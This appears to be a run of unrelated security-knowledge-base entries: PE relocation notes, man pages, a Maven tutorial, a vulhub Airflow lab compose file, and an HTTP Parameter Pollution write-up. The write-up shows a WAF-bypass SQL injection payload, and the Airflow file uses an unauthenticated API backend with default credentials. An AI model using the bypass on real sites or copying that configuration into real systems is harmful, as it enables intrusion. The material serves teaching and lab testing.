基址重定位块的大小。包括 VirtualAddress,SizeOfBlock,以及后面 TypeOffset 的大小。** - **TypeOffset** 一个数组。数组中每个元素大小为 2 个字节,即 16 位。 - **type 高 4 位用于表示重定位的类型。** - **offset 低 12 位用于表示重定位数据位置相对于页 RVA 的偏移量。与 VirtualAddress 相加就是要修改的重定位数据的指针,再加上映像装载基址就是修改后的指针。** ## 重定位过程 **利用重定位表定位需要修改的地址。**比如在 me.dll 中,重定位表的开头部分如下: ```text RVA Data Description 00005000 00001000 页 RVA // page RVA = 0x1000 00005004 00000118 重定位块大小 size 00005008 3013 Type|Offset // offset = 0x013 ... ``` 由 0x1000+0x013 算出待重定位的数据在文件偏移 0x1013 处,加上默认的 imagebase 就是 0x10001013。如下: ```x86asm .text:10001012 68 9C 20 00 10 push 1000209C ``` 即,文件偏移 0x1013 处的 1000209C 可能需要重定位。 **修改待重定位数据**程序运行后,me.dll 被加载到了 0x633C0000 处: 计算待重定位修正后的值,然后将修正的值写到待重定位地址处: ``` 计算待重定位数据地址: (0x10001013 - DefaultImageBase) + ImageBase 即 (0x10001013 - 0x10000000) + 0x633C0000 => 0x633C1013 计算待重定位数据修正后的值: (0x1000209C - DefaultImageBase) + ImageBase 即 (0x1000209C - 0x10000000) + 0x633C0000 => 0x633C209C 最后: *0x633C1013 = 0x633C209C ``` 查看内存中实际的值: > 留个问题,什么时候 EXE 会需要重定位?
sec-knowleage
mailstat === 显示到达的邮件状态 ## 补充说明 **mailstat命令** 用来显示到达的邮件状态。 ### 语法 ```shell mailstat(选项)(参数) ``` ### 选项 ```shell -k:保持邮件日志文件的完整性,不清空日志文件; -l:使用长格式显示邮件状态; -m:合并任何错误信息到一行中显示; -o:使用老的邮件日志邮件; -t:使用简洁的格式显示邮件状态; -s:如果没有邮件则不输出任何信息。 ``` ### 参数 邮件日志文件:指定要读取邮件日志文件。
sec-knowleage
# Maven --- ## 简介 Maven 翻译为"专家"、"内行",是 Apache 下的一个纯 Java 开发的开源项目。基于项目对象模型(缩写:POM)概念,Maven利用一个中央信息片断能管理一个项目的构建、报告和文档等步骤。 Maven 是一个项目管理工具,可以对 Java 项目进行构建、依赖管理。 Maven 也可被用于构建和管理各种项目,例如 C#,Ruby,Scala 和其他语言编写的项目。Maven 曾是 Jakarta 项目的子项目,现为由 Apache 软件基金会主持的独立 Apache 项目。 一个 Java 项目需要确定引入哪些依赖包。例如,如果我们需要用到 commons logging,我们就必须把 commons logging 的 jar 包放入 classpath。如果我们还需要 log4j,就需要把 log4j 相关的 jar 包都放到 classpath 中。这些就是依赖包的管理。 其次,我们要确定项目的目录结构。例如,src 目录存放 Java 源码,resources 目录存放配置文件,bin 目录存放编译生成的. class 文件。 此外,我们还需要配置环境,例如 JDK 的版本,编译打包的流程,当前代码的版本号。 最后,除了使用 Eclipse 这样的 IDE 进行编译外,我们还必须能通过命令行工具进行编译,才能够让项目在一个独立的服务器上编译、测试、部署。 这些工作难度不大,但是非常琐碎且耗时。如果每一个项目都自己搞一套配置,肯定会一团糟。我们需要的是一个标准化的 Java 项目管理和构建工具。 Maven 就是是专门为 Java 项目打造的管理和构建工具,它的主要功能有: * 提供了一套标准化的项目结构; * 提供了一套标准化的构建流程(编译,测试,打包,发布……); * 提供了一套依赖管理机制。 --- ## Maven 特点 * 项目设置遵循统一的规则。 * 任意工程中共享。 * 依赖管理包括自动更新。 * 一个庞大且不断增长的库。 * 可扩展,能够轻松编写 Java 或脚本语言的插件。 * 只需很少或不需要额外配置即可即时访问新功能。 * `基于模型的构建` − Maven能够将任意数量的项目构建到预定义的输出类型中,如 JAR,WAR 或基于项目元数据的分发,而不需要在大多数情况下执行任何脚本。 * `项目信息的一致性站点` − 使用与构建过程相同的元数据,Maven 能够生成一个网站或PDF,包括您要添加的任何文档,并添加到关于项目开发状态的标准报告中。 * `发布管理和发布单独的输出` − Maven 将不需要额外的配置,就可以与源代码管理系统(如 Subversion 或 Git)集成,并可以基于某个标签管理项目的发布。它也可以将其发布到分发位置供其他项目使用。Maven 能够发布单独的输出,如 JAR,包含其他依赖和文档的归档,或者作为源代码发布。 * `向后兼容性` − 您可以很轻松的从旧版本 Maven 的多个模块移植到 Maven 3 中。 * 子项目使用父项目依赖时,正常情况子项目应该继承父项目依赖,无需使用版本号, * `并行构建` − 编译的速度能普遍提高20 - 50 %。 * `更好的错误报告` − Maven 改进了错误报告,它为您提供了 Maven wiki 页面的链接,您可以点击链接查看错误的完整描述。 --- ## 约定配置 Maven 提倡使用一个共同的标准目录结构,Maven 使用约定优于配置的原则,大家尽可能的遵守这样的目录结构。如下所示: | 目录 | 目的 | | - | - | | ${basedir} | 存放 pom.xml 和所有的子目录 | | ${basedir}/src/main/java | 项目的 java 源代码 | | ${basedir}/src/main/resources | 项目的资源,比如说 property 文件,springmvc.xml | | ${basedir}/src/test/java | 项目的测试类,比如说 Junit 代码 | | ${basedir}/src/test/resources | 测试用的资源 | | ${basedir}/src/main/webapp/WEB-INF | web 应用文件目录,web 项目的信息,比如存放 web.xml、本地图片、jsp 视图页面 | | ${basedir}/target | 打包输出目录 | | ${basedir}/target/classes | 编译输出目录 | | ${basedir}/target/test-classes | 测试编译输出目录 | | Test.java | Maven 只会自动运行符合该命名规则的测试类 | | ~/.m2/repository | Maven 默认的本地仓库目录位置 | --- ## Maven 环境配置 Maven 下载地址:http://maven.apache.org/download.cgi 下载包后解压 添加系统变量 MAVEN_HOME 编辑系统变量 Path,添加变量值:%MAVEN_HOME%\bin 输入 mvn -version,查看 Maven 的版本信息 --- ## Maven 项目结构 一个使用 Maven 管理的普通的 Java 项目,它的目录结构默认如下: ``` a-maven-project ├── pom.xml ├── src │ ├── main │ │ ├── java │ │ └── resources │ └── test │ ├── java │ └── resources └── target ``` 项目的根目录 a-maven-project 是项目名,它有一个项目描述文件 pom.xml,存放 Java 源码的目录是 src/main/java,存放资源文件的目录是 src/main/resources,存放测试源码的目录是 src/test/java,存放测试资源的目录是 src/test/resources,最后,所有编译、打包生成的文件都放在 target 目录里。这些就是一个 Maven 项目的标准目录结构。 所有的目录结构都是约定好的标准结构,我们千万不要随意修改目录结构。使用标准结构不需要做任何配置,Maven 就可以正常使用。 最关键是项目描述文件 pom.xml --- ## Maven POM POM(Project Object Model,项目对象模型) 是 Maven 工程的基本工作单元,是一个 XML 文件,包含了项目的基本信息,用于描述项目如何构建,声明项目依赖,等等。 执行任务或目标时,Maven 会在当前目录中查找 POM。它读取 POM,获取所需的配置信息,然后执行目标。 POM 中可以指定以下配置: * 项目依赖 * 插件 * 执行目标 * 项目构建 profile * 项目版本 * 项目开发者列表 * 相关邮件列表信息 所有 POM 文件都需要 project 元素和三个必需字段:groupId,artifactId,version。 * project 工程的根标签。 * modelVersion 模型版本需要设置为 4.0。 * groupId 这是工程组的标识。它在一个组织或者项目中通常是唯一的。例如,一个银行组织 com.bank.project 拥有和银行相关的项目。 * artifactId 这是工程的标识。它通常是工程的名称。例如,消费者银行。groupId 和 artifactId 一起定义了 artifact 在仓库中的位置。 * version 这是工程的版本号。在 artifact 的仓库中,它用来区分不同的版本。 ```xml <project xmlns = "http://maven.apache.org/POM/4.0.0" xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation = "http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <!-- 模型版本 --> <modelVersion>4.0.0</modelVersion> <!-- 公司或者组织的唯一标志,并且配置时生成的路径也是由此生成, 如com.bank.project,maven会将该项目打成的jar包放本地路径:/com/bank/project --> <groupId>com.bank.project</groupId> <!-- 项目的唯一ID,一个groupId下面可能多个项目,就是靠artifactId来区分的 --> <artifactId>project</artifactId> <!-- 版本号 --> <version>1.0</version> </project> ``` groupId 类似于 Java 的包名,通常是公司或组织名称,artifactId 类似于 Java 的类名,通常是项目名称,再加上 version,一个 Maven 工程就是由 groupId,artifactId 和 version 作为唯一标识。我们在引用其他第三方库的时候,也是通过这 3 个变量确定。例如,依赖 commons-logging: ```xml <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> ``` 使用 `<dependency>` 声明一个依赖后,Maven 就会自动下载这个依赖包并把它放到 classpath 中。 ### Super POM Super POM是 Maven 默认的 POM。所有的 POM 都继承自一个父 POM(无论是否显式定义了这个父 POM)。父 POM 包含了一些可以被继承的默认设置。因此,当 Maven 发现需要下载 POM 中的 依赖时,它会到 Super POM 中配置的默认仓库 http://repo1.maven.org/maven2 去下载。 Maven 使用 effective pom(Super pom 加上工程自己的配置)来执行相关的目标,它帮助开发者在 pom.xml 中做尽可能少的配置,当然这些配置可以被重写。 创建目录 MVN/project,在该目录下创建 pom.xml,内容如下: 在命令控制台,进入 MVN/project 目录,执行以下命令: ``` mvn help:effective-pom ``` Maven 将会开始处理并显示 effective-pom。 Maven 提供了大量的原型插件来创建工程,包括工程结构和 pom.xml。 --- ## 依赖管理 如果我们的项目依赖第三方的 jar 包,例如 commons logging,那么问题来了:commons logging 发布的 jar 包在哪下载? 如果我们还希望依赖 log4j,那么使用 log4j 需要哪些 jar 包? 类似的依赖还包括:JUnit,JavaMail,MySQL 驱动等等,一个可行的方法是通过搜索引擎搜索到项目的官网,然后手动下载 zip 包,解压,放入 classpath。但是,这个过程非常繁琐。 Maven 解决了依赖管理问题。例如,我们的项目依赖 abc 这个 jar 包,而 abc 又依赖 xyz 这个 jar 包: ``` Sample Project --> abc --> xyz ``` 当我们声明了 abc 的依赖时,Maven 自动把 abc 和 xyz 都加入了我们的项目依赖,不需要我们自己去研究 abc 是否需要依赖 xyz。 因此,Maven 的第一个作用就是解决依赖管理。我们声明了自己的项目需要 abc,Maven 会自动导入 abc 的 jar 包,再判断出 abc 需要 xyz,又会自动导入 xyz 的 jar 包,这样,最终我们的项目会依赖 abc 和 xyz 两个 jar 包。 我们来看一个复杂依赖示例: ```xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <version>1.4.2.RELEASE</version> </dependency> ``` 当我们声明一个 spring-boot-starter-web 依赖时,Maven 会自动解析并判断最终需要大概二三十个其他依赖: ``` spring-boot-starter-web spring-boot-starter spring-boot sprint-boot-autoconfigure spring-boot-starter-logging logback-classic logback-core slf4j-api jcl-over-slf4j slf4j-api jul-to-slf4j slf4j-api log4j-over-slf4j slf4j-api spring-core snakeyaml spring-boot-starter-tomcat tomcat-embed-core tomcat-embed-el tomcat-embed-websocket tomcat-embed-core jackson-databind ... ``` 如果我们自己去手动管理这些依赖是非常费时费力的,而且出错的概率很大。 ### 依赖关系 Maven 定义了几种依赖关系,分别是 compile、test、runtime 和 provided: | scope | 说明 | 示例 | | - | - | - | | compile | 编译时需要用到该 jar 包(默认) | commons-logging | | test | 编译 Test 时需要用到该 jar 包 | junit | | runtime | 编译时不需要,但运行时需要用到 | mysql | | provided | 编译时需要用到,但运行时由 JDK 或某个服务器提供 | servlet-api | 其中,默认的 compile 是最常用的,Maven 会把这种类型的依赖直接放入 classpath。 test 依赖表示仅在测试时使用,正常运行时并不需要。最常用的 test 依赖就是 JUnit: ```xml <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter-api</artifactId> <version>5.3.2</version> <scope>test</scope> </dependency> ``` runtime 依赖表示编译时不需要,但运行时需要。最典型的 runtime 依赖是 JDBC 驱动,例如 MySQL 驱动: ```xml <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.48</version> <scope>runtime</scope> </dependency> ``` provided 依赖表示编译时需要,但运行时不需要。最典型的 provided 依赖是 Servlet API,编译的时候需要,但是运行时,Servlet 服务器内置了相关的 jar,所以运行期不需要: ```xml <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.0</version> <scope>provided</scope> </dependency> ``` Maven 如何知道从何处下载所需的依赖?也就是相关的 jar 包?答案是 Maven 维护了一个中央仓库(repo1.maven.org),所有第三方库将自身的 jar 以及相关信息上传至中央仓库,Maven 就可以从中央仓库把所需依赖下载到本地。 Maven 并不会每次都从中央仓库下载 jar 包。一个 jar 包一旦被下载过,就会被 Maven 自动缓存在本地目录(用户主目录的. m2 目录),所以,除了第一次编译时因为下载需要时间会比较慢,后续过程因为有本地缓存,并不会重复下载相同的 jar 包。 ### 唯一ID 对于某个依赖,Maven 只需要 3 个变量即可唯一确定某个 jar 包: * groupId:属于组织的名称,类似 Java 的包名; * artifactId:该 jar 包自身的名称,类似 Java 的类名; * version:该 jar 包的版本。 通过上述 3 个变量,即可唯一确定某个 jar 包。Maven 通过对 jar 包进行 PGP 签名确保任何一个 jar 包一经发布就无法修改。修改已发布 jar 包的唯一方法是发布一个新版本。 因此,某个 jar 包一旦被 Maven 下载过,即可永久地安全缓存在本地。 注:只有以 -SNAPSHOT 结尾的版本号会被 Maven 视为开发版本,开发版本每次都会重复下载,这种 SNAPSHOT 版本只能用于内部私有的 Maven repo,公开发布的版本不允许出现 SNAPSHOT。 --- ## Maven镜像 国内用户可以使用阿里云提供的 Maven 镜像仓库。使用 Maven 镜像仓库需要一个配置,进入maven 的conf目录,编辑 settings.xml 配置文件,内容如下: ```xml <mirror> <id>aliyunmaven</id> <mirrorOf>*</mirrorOf> <name>阿里云公共仓库</name> <url>https://maven.aliyun.com/repository/public</url> </mirror> ``` 配置镜像仓库后,Maven的下载速度就会非常快。 如果是 idea 自带的,根据 idea 里的配置来改 具体可以参考阿里云的教程 - https://developer.aliyun.com/mvn/guide --- ## 命令行编译 在命令中,进入到 pom.xml 所在目录,输入以下命令: ``` mvn clean package ``` 如果一切顺利,即可在 target 目录下获得编译后自动打包的 jar。 --- ## lifecycle ### phase Maven 的生命周期由一系列阶段(phase)构成,以内置的生命周期 default 为例,它包含以下 phase: * validate * initialize * generate-sources * process-sources * generate-resources * process-resources * compile * process-classes * generate-test-sources * process-test-sources * generate-test-resources * process-test-resources * test-compile * process-test-classes * test * prepare-package * package * pre-integration-test * integration-test * post-integration-test * verify * install * deploy 如果我们运行 mvn package,Maven 就会执行 default 生命周期,它会从开始一直运行到 package 这个 phase 为止: * validate * ... * package 如果我们运行 mvn compile,Maven 也会执行 default 生命周期,但这次它只会运行到 compile,即以下几个 phase: * validate * ... * compile Maven 另一个常用的生命周期是 clean,它会执行 3 个 phase: * pre-clean * clean (注意这个clean不是lifecycle而是phase) * post-clean 所以,我们使用 mvn 这个命令时,后面的参数是 phase,Maven 自动根据生命周期运行到指定的 phase。 更复杂的例子是指定多个 phase,例如,运行 mvn clean package,Maven 先执行 clean 生命周期并运行到 clean 这个 phase,然后执行 default 生命周期并运行到 package 这个 phase,实际执行的 phase 如下: * pre-clean * clean (注意这个 clean 是 phase) * validate * ... * package 在实际开发过程中,经常使用的命令有: ``` mvn clean 清理所有生成的 class 和 jar; mvn clean compile 先清理,再执行到 compile; mvn clean test 先清理,再执行到 test,因为执行 test 前必须执行 compile,所以这里不必指定 compile; mvn clean package 先清理,再执行到 package。 ``` 大多数 phase 在执行过程中,因为我们通常没有在 pom.xml 中配置相关的设置,所以这些 phase 什么事情都不做。 经常用到的 phase 其实只有几个: * clean:清理 * compile:编译 * test:运行测试 * package:打包 ### Goal | 执行的 Phase | 对应执行的 Goal | | - | - | | compile | compiler:compile | | test | compiler:testCompile && surefire:test | goal 的命名总是 abc:xyz 这种形式。 lifecycle 相当于 Java 的 package,它包含一个或多个 phase; phase 相当于 Java 的 class,它包含一个或多个 goal; goal 相当于 class 的 method,它其实才是真正干活的。 大多数情况,我们只要指定 phase,就默认执行这些 phase 默认绑定的 goal,只有少数情况,我们可以直接指定运行一个 goal,例如,启动 Tomcat 服务器: ``` mvn tomcat:run ``` --- ## 插件 使用 Maven 构建项目就是执行 lifecycle,执行到指定的 phase 为止。每个 phase 会执行自己默认的一个或多个 goal。goal 是最小任务单元。 我们以 compile 这个 phase 为例,如果执行: ``` mvn compile ``` Maven 将执行 compile 这个 phase,这个 phase 会调用 compiler 插件执行关联的 compiler:compile 这个 goal。 实际上,执行每个 phase,都是通过某个插件(plugin)来执行的,Maven 本身其实并不知道如何执行 compile,它只是负责找到对应的 compiler 插件,然后执行默认的 compiler:compile 这个 goal 来完成编译。 所以,使用 Maven,实际上就是配置好需要使用的插件,然后通过 phase 调用它们。 Maven已经内置了一些常用的标准插件: | 插件名称 | 对应执行的phase | | - | - | | clean | clean | | compiler | compile | | surefire | test | | jar | package | --- ## 模块管理 在软件开发中,把一个大项目分拆为多个模块是降低软件复杂度的有效方法: 对于 Maven 工程来说,原来是一个大项目,现在可以分拆成 3 个模块: ``` mutiple-project ├── module-a │ ├── pom.xml │ └── src ├── module-b │ ├── pom.xml │ └── src └── module-c ├── pom.xml └── src ``` 如果模块 A 和模块 B 的 pom.xml 高度相似,那么,我们可以提取出共同部分作为 parent: ``` multiple-project ├── pom.xml ├── parent │ └── pom.xml ├── module-a │ ├── pom.xml │ └── src ├── module-b │ ├── pom.xml │ └── src └── module-c ├── pom.xml └── src ``` 模块 B、模块 C 都可以直接从 parent 继承,大幅简化了 pom.xml 的编写。 如果模块 A 依赖模块 B,则模块 A 需要模块 B 的 jar 包才能正常编译,我们需要在模块 A 中引入模块 B ```xml ... <dependencies> <dependency> <groupId>com.itranswarp.learnjava</groupId> <artifactId>module-b</artifactId> <version>1.0</version> </dependency> </dependencies> ``` 最后,在编译的时候,需要在根目录创建一个 pom.xml 统一编译: ```xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.itranswarp.learnjava</groupId> <artifactId>build</artifactId> <version>1.0</version> <packaging>pom</packaging> <name>build</name> <modules> <module>parent</module> <module>module-a</module> <module>module-b</module> <module>module-c</module> </modules> </project> ``` 这样,在根目录执行 mvn clean package 时,Maven 根据根目录的 pom.xml 找到包括 parent 在内的共 4 个 `<module>`,一次性全部编译。 --- ## eclipse使用maven ### 安装插件 从 Eclipse Marketplace 上获取 m2eclipse 并安装: 首先要在 Eclipse 中安装插件:在 Help->install new software, 输入下面地址 http://download.eclipse.org/technology/m2e/releases 像安装其他插件那样一路下一步就OK了。 ### 配置插件 Preference --> maven 可以设置 Installations 和 User Setting ### 创建一个maven项目 new 一个 project ,选择 Maven Project 选择默认的工程位置 创建工程,这里可以选择 org.apache.maven.archetype 填写相关的groupId artifactId version等信息 点击完成就创建好了一个简单的maven工程。 ### 目录结构 创建完毕后,目录结构如下 * pom.xml:用于定义或者添加 jar 包的依赖 * src-main:用于存放 java 源文件 * src-test:用于存放测试用例。 也许工程下还会出现 target 文件夹,这个是用来生成对应的 class 文件或发布的 jar 包。 ### 常见报错 **XXX中没有主清单属性** 打包后的 jar 文件中的 MANIFEST.MF 缺少项目启动项,即没有 Main-Class 和 Start-Class pom.xml 添加插件即可 ```xml <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>3.0.2</version> <configuration> <archive> <manifest> <addClasspath>true</addClasspath> <mainClass>com.test.first_maven.App</mainClass> <!-- 此处为主入口--> </manifest> </archive> </configuration> </plugin> ``` --- ## idea 使用 maven setting --> Build,Execution,Deployment --> Build Tools --> Maven --- ## POM 文件样本 ```xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>BETA-Reptile</groupId> <artifactId>BETA-P</artifactId> <version>1.0-SNAPSHOT</version> <properties> <argLine>-Dfile.encoding=UTF-8</argLine> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.1</version> <configuration> <source>1.8</source> <target>1.8</target> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>1.2.1</version> <executions> <execution> <phase>package</phase> <goals> <goal>shade</goal> </goals> <configuration> <transformers> <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"> <mainClass>[主类]</mainClass> </transformer> </transformers> </configuration> </execution> </executions> </plugin> </plugins> </build> <dependencies> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.47</version> <scope>runtime</scope> </dependency> </dependencies> </project> ``` --- ### JAVAFX ```xml 将布局 fxml 文件放在 target 文件夹中 <build> <resources> <resource> <!-- 这里是放在 src/main/java--> <directory>src/main/java</directory> <includes> <include>**/*.properties</include> <include>**/*.fxml</include> <include>**/fxml/*.fxml</include> <!-- 如果想要弄个包名专门放fxml文件,像上一行这样添加设置 --> <!-- 之后,使用getResource("fxml/xx.fxml")这样子 --> </includes> <filtering>false</filtering> </resource> </resources> </build> ``` --- ## SpringBoot 打包插件 ```xml <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-marven-plugin</artifactId> <plugin> <plugins> <build> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <version>2.3.7.RELEASE</version> <configuration> <mainClass>code.landgrey.Application</mainClass> </configuration> <executions> <execution> <id>repackage</id> <goals> <goal>repackage</goal> </goals> </execution> </executions> </plugin> ``` --- ## idea marven 添加本地 jar 到本地仓库 ``` mvn install:install-file -Dfile=<Jar包的地址> -DgroupId=<Jar包的GroupId> -DartifactId=<Jar包的引用名称> -Dversion=<Jar包的版本> -Dpackaging=<Jar的打包方式> mvn install:install-file -Dfile=ojdbc8.jar -DgroupId=com.github.noraui -DartifactId=ojdbc8 -Dversion=12.2.0.1 -Dpackaging=jar ``` --- ## maven 打包加入本地 jar 我们需要将本地 jar 也加入到 pom.xml 的依赖配置项中,而本地 jar 最好是放在项目路径下,比如 lib 目录。 在 pom.xml 配置文件中增加一个 dependency 的配置,groupId,artifactId,version 均随意指定,因为最终起决定作用的是 scope 属性以及 systemPath 属性。 ```xml <dependency> <groupId>asnrt</groupId> <artifactId>javase</artifactId> <version>3.14.15</version> <scope>system</scope> <systemPath>${project.basedir}/lib/asnrt.jar</systemPath> </dependency> ``` 只需要这么配置,我们进行 mvn package 的时候,就不会报错,而且打出的 jar 包直接运行也不会报错。 本地运行没有报错,是有个警告,构建成功,放到 gitlab,自动构建,最后运行,出现了以下警告: ``` [WARNING] Some problems were encountered while building the effective model for com.huali.mec:mec-tcp-receiver:jar:1.0.0 [WARNING] 'dependencies.dependency.systemPath' for asnrt:javase:jar should not point at files within the project directory, ${project.basedir}/lib/asnrt.jar will be unresolvable by dependent projects @ line 99, column 17 ``` 意思是不能使用项目目录中的 jar,也有人遇到了这样的问题:https://www.phpsong.com/3536.html,根据他的提示,需要将 `${project.basedir}` 改为 `${pom.basedir}` 。 --- ## Source & Reference - https://www.liaoxuefeng.com/wiki/1252599548343744/1309301146648610 - https://www.runoob.com/maven/maven-tutorial.html - https://www.cnblogs.com/xdp-gacl/p/3498271.html - https://blog.csdn.net/u012052268/article/details/78916196 - https://blog.csdn.net/banjing_1993/article/details/83073210 - https://blog.csdn.net/qq_32588349/article/details/51461182
sec-knowleage
version: '3' x-airflow-common: &airflow-common image: vulhub/airflow:1.10.10 environment: &airflow-common-env AIRFLOW__CORE__EXECUTOR: CeleryExecutor AIRFLOW__CORE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:airflow@postgres/airflow AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql://airflow:airflow@postgres/airflow AIRFLOW__CELERY__BROKER_URL: redis://:@redis:6379/0 AIRFLOW__CORE__FERNET_KEY: '' AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION: 'true' AIRFLOW__CORE__LOAD_EXAMPLES: 'true' #AIRFLOW__API__AUTH_BACKEND: 'airflow.api.auth.backend.basic_auth' AIRFLOW__API__AUTH_BACKEND: 'airflow.api.auth.backend.default' user: "${AIRFLOW_UID:-50000}:${AIRFLOW_GID:-50000}" depends_on: redis: condition: service_healthy postgres: condition: service_healthy services: postgres: image: postgres:13-alpine environment: POSTGRES_USER: airflow POSTGRES_PASSWORD: airflow POSTGRES_DB: airflow healthcheck: test: ["CMD", "pg_isready", "-U", "airflow"] interval: 5s retries: 5 redis: image: redis:5-alpine healthcheck: test: ["CMD", "redis-cli", "ping"] interval: 5s timeout: 30s retries: 50 airflow-webserver: <<: *airflow-common command: webserver ports: - 8080:8080 healthcheck: test: ["CMD", "curl", "--fail", "http://localhost:8080/health"] interval: 10s timeout: 10s retries: 5 airflow-scheduler: <<: *airflow-common command: scheduler healthcheck: test: ["CMD-SHELL", 'airflow jobs check --job-type SchedulerJob --hostname "$${HOSTNAME}"'] interval: 10s timeout: 10s retries: 5 airflow-worker: <<: *airflow-common command: worker healthcheck: test: - "CMD-SHELL" - 'celery --app airflow.executors.celery_executor.app inspect ping -d "celery@$${HOSTNAME}"' interval: 10s timeout: 10s retries: 5 airflow-init: <<: *airflow-common command: initdb environment: <<: *airflow-common-env _AIRFLOW_DB_UPGRADE: 'true' flower: <<: *airflow-common command: flower ports: - 5555:5555 healthcheck: test: ["CMD", "curl", "--fail", "http://localhost:5555/"] interval: 10s timeout: 10s retries: 5
sec-knowleage
package org.vulhub; public class HelloMessage { private String name; public HelloMessage() { } public HelloMessage(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; } }
sec-knowleage
# HTTP Parameter Pollution ## Summary HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms. ## Tools No tools needed. Maybe Burp or OWASP ZAP. ## How to test HPP allows an attacker to bypass pattern based/black list proxies or Web Application Firewall detection mechanisms. This can be done with or without the knowledge of the web technology behind the proxy, and can be achieved through simple trial and error. ``` Example scenario. WAF - Reads first param Origin Service - Reads second param. In this scenario, developer trusted WAF and did not implement sanity checks. Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads first 'search' param, looks innocent. passes on) --> Origin Service (reads second 'search' param, injection happens if no checks are done here.) ``` ### Table of reference for which technology reads which parameter When ?par1=a&par1=b | Technology | Parsing Result |outcome (par1=)| | ------------------ |--------------- |:-------------:| | ASP.NET/IIS |All occurrences |a,b | | ASP/IIS |All occurrences |a,b | | PHP/Apache |Last occurrence |b | | PHP/Zues |Last occurrence |b | | JSP,Servlet/Tomcat |First occurrence |a | | Perl CGI/Apache |First occurrence |a | | Python Flask |First occurrence |a | | Python Django |Last occurrence |b | | Nodejs |All occurrences |a,b | | Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a | | Golang net/http - `r.URL.Query()["param"]` |All occurrences in array |['a','b'] | | IBM Lotus Domino |First occurrence |a | | IBM HTTP Server |First occurrence |a | | Perl CGI/Apache |First occurrence |a | | mod_wsgi (Python)/Apache |First occurrence |a | | Python/Zope |All occurrences in array |['a','b'] | | Ruby on Rails |Last occurrence |b | ## References - [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/) - [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction) - [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "POSTMASTER" "1" "2003-11-02" "Application" "PostgreSQL Server Applications" .SH NAME postmaster \- PostgreSQL多用户数据库服务器 .SH SYNOPSIS .sp \fBpostmaster\fR\fR [ \fR\fB-A \fR\fB 0\fR | \fB1\fR\fB \fR\fR]\fR\fR [ \fR\fB-B \fInbuffers\fB \fR\fR]\fR\fR [ \fR\fB-c \fIname\fB=\fIvalue\fB \fR\fR]\fR\fR [ \fR\fB-d \fIdebug-level\fB \fR\fR]\fR\fR [ \fR\fB-D \fIdatadir\fB \fR\fR]\fR\fR [ \fR\fB-F \fR\fR]\fR\fR [ \fR\fB-h \fIhostname\fB \fR\fR]\fR\fR [ \fR\fB-i \fR\fR]\fR\fR [ \fR\fB-k \fIdirectory\fB \fR\fR]\fR\fR [ \fR\fB-l \fR\fR]\fR\fR [ \fR\fB-N \fImax-connections\fB \fR\fR]\fR\fR [ \fR\fB-o \fIextra-options\fB \fR\fR]\fR\fR [ \fR\fB-p \fIport\fB \fR\fR]\fR\fR [ \fR\fB-S \fR\fR]\fR\fR [ \fR\fB--\fIname\fB=\fIvalue\fB \fR\fR]\fR \fR[\fR \fB-n\fR\fR | \fR\fB-s\fR\fR ]\fR .SH "DESCRIPTION 描述" .PP \fBpostmaster\fR 是 PostgreSQL 多用户数据库服务器。 一个客户端为了访问一个数据库,它(通过网络或本地)联接到一个运行着的 postmaster。 然后该 postmaster 启动一个独立的服务器进程("postgres") 以操作联接。 postmaster 还控制服务器进程之间的通讯。 .PP 缺省时postmaster在前台启动并且向标准错误系统输出打印日志信息。 在实际应用里,postmaster应该作为后台进程启动,也许该在启动时。 .PP 一个postmaster总是管理来自同一个数据库集群的数据。 一个数据库集群是一套在同一个文件系统位置存放数据的数据库。 当 postmaster 启动时,它需要知道数据库集群文件("数据区")的位置。 